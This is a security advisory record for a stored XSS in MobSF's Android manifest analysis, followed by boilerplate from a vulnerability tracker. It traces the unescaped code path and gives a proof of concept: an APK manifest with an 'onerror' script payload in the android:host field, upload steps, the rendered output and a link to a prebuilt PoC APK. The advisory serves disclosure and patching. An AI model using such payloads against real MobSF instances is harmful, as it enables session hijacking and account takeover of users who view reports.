"details": "### Summary\nA Stored Cross-site Scripting (XSS) vulnerability in MobSF\u0027s Android manifest analysis allows an attacker to execute arbitrary JavaScript in the context of a victim\u0027s browser session by uploading a malicious APK. The `android:host` attribute from `\u003cdata android:scheme=\"android_secret_code\"\u003e` elements is rendered in HTML reports without sanitization, enabling session hijacking and account takeover.\n\n### Details\nWhen MobSF analyzes an Android APK containing a `\u003cdata\u003e` element with `android:scheme=\"android_secret_code\"`, it extracts the `android:host` attribute and inserts it directly into the analysis report without HTML escaping.\n\n### Vulnerable Code Path\n\n**1. Data Extraction** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 776):\n```python\nxmlhost = data.getAttribute(f\u0027{ns}:host\u0027)\nret_list.append((\u0027dialer_code_found\u0027, (xmlhost,), ()))\n```\n\n**2. Template String Formatting** - `mobsf/StaticAnalyzer/views/android/manifest_analysis.py` (line 806):\n```python\n\u0027title\u0027: a_template[\u0027title\u0027] % t_name, # XSS payload inserted here unescaped\n```\n\n**3. Template Definition** - `mobsf/StaticAnalyzer/views/android/kb/android_manifest_desc.py` (line 200):\n```python\n\u0027dialer_code_found\u0027: {\n \u0027title\u0027: \u0027Dailer Code: %s Found \u003cbr\u003e[android:scheme=\\\"android_secret_code\\\"]\u0027,\n ...\n}\n```\n\n**4. Unsafe Rendering** - `mobsf/templates/static_analysis/android_binary_analysis.html` (line 1143):\n```html\n{{item|key:\"title\" | safe}}\n```\n\nThe `|safe` Django template filter bypasses auto-escaping, allowing the unescaped `android:host` value to be rendered as raw HTML.\n\n### PoC\n\n### Step 1: Create Malicious APK\n\nCreate an APK with the following `AndroidManifest.xml`:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"utf-8\"?\u003e\n\u003cmanifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"com.poc.xsstest\"\n android:versionCode=\"1\"\n android:versionName=\"1.0\"\u003e\n\n \u003capplication android:label=\"XSS PoC Test\"\u003e\n \u003creceiver android:name=\".SecretCodeReceiver\" android:exported=\"true\"\u003e\n \u003cintent-filter\u003e\n \u003caction android:name=\"android.provider.Telephony.SECRET_CODE\"/\u003e\n \u003cdata android:scheme=\"android_secret_code\"\n android:host=\"\u0026lt;img src=x onerror=alert(document.domain)\u0026gt;\"/\u003e\n \u003c/intent-filter\u003e\n \u003c/receiver\u003e\n \u003c/application\u003e\n\u003c/manifest\u003e\n```\n\n### Step 2: Build the APK\n\nUse apktool or Android build tools to create a valid APK with this manifest.\n\n### Step 3: Upload to MobSF\n\nUpload the malicious APK to MobSF for static analysis.\n\n### Step 4: Trigger XSS\n\nView the static analysis report in a browser. The JavaScript payload executes automatically.\n\n### Confirmed HTML Output\n\n```html\n\u003ctd\u003e\nDailer Code: \u003cimg src=x onerror=alert(document.domain)\u003e Found \u003cbr\u003e[android:scheme=\"android_secret_code\"]\n\u003c/td\u003e\n```\n\n### PoC APK Details\n\n| Field | Value |\n|-------|-------|\n| **Filename** | `POC_XSS_APK.apk ` |\n| **MD5 Hash** | `647258656ed03a7e6a0f2acce4ec6a5b` |\n| **Location** | https://github.com/smaranchand/poc/raw/refs/heads/main/POC_XSS_APK.apk |\n\n### Impact\n\nThis is a **Stored Cross-site Scripting (XSS)** vulnerability affecting all MobSF users who analyze the results of the malicious APK file.\n\n### Attack Scenario\n\n1. Attacker crafts a malicious APK with XSS payload in the manifest\n2. Attacker submits APK to a shared MobSF instance or private mobsf instance. \n3. When any user views the analysis report, the XSS payload executes in their browser\n\n\u003cimg width=\"1435\" height=\"675\" alt=\"Screenshot 2026-01-15 at 12 24 29\u202fAM\" src=\"https://github.com/user-attachments/assets/e282a0b2-236e-4199-a7ce-b96017cc7052\" /\u003e\n\n\nTested in MobSF Public Instance as well.\nhttps://mobsf.live/static_analyzer/647258656ed03a7e6a0f2acce4ec6a5b/ \n\n\n\u003cimg width=\"1440\" height=\"780\" alt=\"Screenshot 2026-01-15 at 12 24 57\u202fAM\" src=\"https://github.com/user-attachments/assets/8673b76a-954a-45e7-833a-a64e0a972f2e\" /\u003e",
"id": "PYSEC-2026-1668",
"modified": "2026-07-07T17:24:44.561173Z",
"published": "2026-07-07T16:03:20.612144Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-8hf7-h89p-3pqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24490"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/2b08dd050e7685ee2a14fdbb454affab94129eae"
},
{
"type": "PACKAGE",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
},
{
"type": "WEB",
"url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.5"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/mobsf"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-8hf7-h89p-3pqj"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "MobSF has Stored XSS via Manifest Analysis - Dialer Code Host Field"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…